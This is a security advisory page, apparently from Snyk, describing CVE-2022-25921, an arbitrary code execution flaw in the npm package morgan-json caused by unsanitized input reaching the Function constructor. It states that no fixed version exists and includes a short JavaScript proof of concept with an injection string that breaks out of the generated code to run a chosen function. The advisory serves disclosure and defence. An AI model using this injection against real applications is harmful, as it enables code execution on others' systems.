Arbitrary Code Execution Affecting morgan-json package, versions *
Threat Intelligence
EPSS
0.48% (77th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-MORGANJSON-2976193
- published 28 Aug 2022
- disclosed 7 Aug 2022
- credit OmniTaint
Introduced: 7 Aug 2022
CVE-2022-25921 Open this link in a new tabHow to fix?
There is no fixed version for morgan-json.
Overview
morgan-json is an A variant of morgan.compile that provides format functions that output JSON
Affected versions of this package are vulnerable to Arbitrary Code Execution due to missing sanitization of input passed to the Function constructor.
PoC
var PUT = require('morgan-json');
global.CTF = function() { console.log('GLOBAL CTF HIT'); };
var x = '}) + global.CTF() + ({'
try {
new PUT(x,{})('');
} catch (e) {
console.log(e);
}
References
CVSS Scores
version 3.1